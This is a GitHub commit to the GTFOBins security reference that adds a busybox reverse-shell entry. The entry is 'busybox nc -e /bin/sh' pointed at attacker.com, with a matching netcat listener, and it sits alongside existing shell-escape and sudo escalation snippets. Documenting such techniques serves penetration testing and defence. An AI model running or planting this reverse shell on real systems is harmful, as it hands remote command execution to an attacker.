Skip to content

Commit

Permalink
Added reverse shell functionality to busybox if "busybox nc" is avail…
Browse files Browse the repository at this point in the history
…able

Co-authored-by: Andrea Cardaci <[email protected]>
  • Loading branch information
astor9 and cyrus-and authored Dec 23, 2023
1 parent afadeeb commit a5a1f86
Showing 1 changed file with 6 additions and 0 deletions.
6 changes: 6 additions & 0 deletions _gtfobins/busybox.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,4 +21,10 @@ functions:
code: "./busybox sh"
sudo:
- code: sudo busybox sh
reverse-shell:
- description: Run `nc -lvp 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
busybox nc -e /bin/sh $RHOST $RPORT
---

0 comments on commit a5a1f86

Please sign in to comment.